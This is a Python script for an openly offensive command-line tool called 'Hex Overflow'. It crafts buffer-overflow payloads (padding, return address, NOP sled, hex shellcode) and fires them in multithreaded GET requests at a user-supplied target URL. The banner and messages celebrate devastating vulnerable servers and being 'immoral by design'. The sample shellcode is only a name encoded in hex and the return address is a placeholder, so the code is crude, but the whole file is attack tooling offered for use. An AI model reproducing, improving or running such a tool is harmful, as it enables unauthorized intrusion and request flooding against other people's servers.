Hex Overflow

#!/usr/bin/env python3
import requests
import time
import threading
import sys
class HexOverflow:
    class Colors:
        RED = "\033[0;31m"
        GREEN = "\033[0;32m"
        YELLOW = "\033[0;33m"
        CYAN = "\033[0;36m"
        RESET = "\033[0m"
    def __init__(self):
        self.url = None
        self.param = "user"
        self.threads_count = 10
        self.requests_per_thread = 10
        self.offset = 128
        self.ret = "deadbeef"
        self.delay = 0.01
        self.payload = None
    def intro(self):
        banner = f"""
{self.Colors.RED}##############################################################
#                                                          #
#               {self.Colors.YELLOW}Welcome to Hex Overflow{self.Colors.RED} - The Ultimate Buffer Overflow Exploit Tool{self.Colors.RED}              #
#                                                          #
##############################################################
{self.Colors.RESET}
{self.Colors.CYAN}Disclaimer: This tool is forged in the darkest corners of cyberspace,
built to unleash chaos upon targets with ruthless precision.
Use it to devastate vulnerable servers, hijack control flows,
and bend systems to your will.
Immoral by design, relentless by nature.
This is not a game for the faint-hearted.
Proceed only if you dare to embrace the void.{self.Colors.RESET}
"""
        print(banner)
    def hex_to_payload(self, h):
        # Remove 0x and spaces, return bytes
        clean = h.replace("0x", "").replace(" ", "")
        try:
            return bytes.fromhex(clean)
        except Exception as e:
            print(f"{self.Colors.RED}Invalid hex payload format: {e}{self.Colors.RESET}")
            return b""
    def craft_payload(self, offset, ret_addr, shellcode_hex, nop_sled=16):
        try:
            ret_bytes = bytes.fromhex(ret_addr)
        except ValueError:
            print(f"{self.Colors.RED}Invalid return address hex format. Using default deadbeef.{self.Colors.RESET}")
            ret_bytes = bytes.fromhex("deadbeef")
        payload = b"A" * offset + ret_bytes + b"\x90" * nop_sled + self.hex_to_payload(shellcode_hex)
        return payload
    def send_thread(self, url, param, payload, count, tid, delay):
        encoded = ''.join(f"%{b:02x}" for b in payload)
        for i in range(count):
            try:
                r = requests.get(f"{url}?{param}={encoded}", timeout=5)
                print(f"{self.Colors.GREEN}[Thread {tid}] [{i+1:02}] {r.status_code} {r.reason}{self.Colors.RESET}")
            except Exception as e:
                print(f"{self.Colors.RED}[Thread {tid}] [{i+1:02}] Failed: {e}{self.Colors.RESET}")
            time.sleep(delay)
    def get_input(self, prompt, default, cast_func=str):
        inp = input(f"{self.Colors.YELLOW}{prompt}{self.Colors.RESET} [{default}]: ").strip()
        if inp == "":
            return default
        try:
            return cast_func(inp)
        except Exception:
            print(f"{self.Colors.RED}Invalid input, using default: {default}{self.Colors.RESET}")
            return default
    def menu(self):
        while True:
            print(f"""
{self.Colors.CYAN}--- Hex Overflow Control Panel ---
1. Set Target URL (Current: {self.url if self.url else 'Not Set'})
2. Set HTTP Parameter Name (Current: {self.param})
3. Set Number of Threads (Current: {self.threads_count})
4. Set Requests Per Thread (Current: {self.requests_per_thread})
5. Set Buffer Offset (Current: {self.offset})
6. Set Return Address (hex) (Current: {self.ret})
7. Set Delay Between Requests (seconds) (Current: {self.delay})
8. Launch Attack
9. Exit
{self.Colors.RESET}
""")
            choice = input(f"{self.Colors.YELLOW}Select option [1-9]: {self.Colors.RESET}").strip()
            if choice == "1":
                url = input("Enter target URL to fuck up: ").strip()
                if url:
                    self.url = url
                else:
                    print(f"{self.Colors.RED}URL cannot be empty.{self.Colors.RESET}")
            elif choice == "2":
                self.param = self.get_input("HTTP parameter name to exploit", self.param, str)
            elif choice == "3":
                self.threads_count = self.get_input("Number of concurrent threads", self.threads_count, int)
            elif choice == "4":
                self.requests_per_thread = self.get_input("Number of requests per thread", self.requests_per_thread, int)
            elif choice == "5":
                self.offset = self.get_input("Buffer offset (number of 'A's)", self.offset, int)
            elif choice == "6":
                ret = self.get_input("Return address (hex, e.g. deadbeef)", self.ret, str)
                # Validate hex length
                try:
                    bytes.fromhex(ret)
                    self.ret = ret
                except Exception:
                    print(f"{self.Colors.RED}Invalid hex format for return address, keeping previous value.{self.Colors.RESET}")
            elif choice == "7":
                self.delay = self.get_input("Delay between requests (seconds)", self.delay, float)
            elif choice == "8":
                if not self.url:
                    print(f"{self.Colors.RED}Target URL must be set before launching attack.{self.Colors.RESET}")
                    continue
                self.launch_attack()
            elif choice == "9":
                print(f"{self.Colors.CYAN}Exiting Hex Overflow. May your exploits be merciless.{self.Colors.RESET}")
                sys.exit(0)
            else:
                print(f"{self.Colors.RED}Invalid choice. Enter a number between 1 and 9.{self.Colors.RESET}")
    def launch_attack(self):
        # Sample shellcode hex (your name as in original)
        shellcode_hex = "0x53656261737469616e44616e7465416c6578616e646572"  # "SebastianDanteAlexander" in hex
        print(f"\n{self.Colors.CYAN}Crafting payload...{self.Colors.RESET}")
        self.payload = self.craft_payload(self.offset, self.ret, shellcode_hex)
        print(f"{self.Colors.RED}\nStarting attack with parameters:{self.Colors.RESET}")
        print(f"  Target URL: {self.url}")
        print(f"  HTTP Param: {self.param}")
        print(f"  Threads: {self.threads_count}")
        print(f"  Requests/Thread: {self.requests_per_thread}")
        print(f"  Buffer Offset: {self.offset}")
        print(f"  Return Address: {self.ret}")
        print(f"  Delay between requests: {self.delay}s\n")
        threads = []
        for tid in range(1, self.threads_count + 1):
            t = threading.Thread(target=self.send_thread, args=(
                self.url, self.param, self.payload, self.requests_per_thread, tid, self.delay))
            t.start()
            threads.append(t)
        for t in threads:
            t.join()
        print(f"\n{self.Colors.GREEN}Attack complete. May your exploits wreak havoc.{self.Colors.RESET}")
def main():
    tool = HexOverflow()
    tool.intro()
    tool.menu()
if __name__ == "__main__":
    main()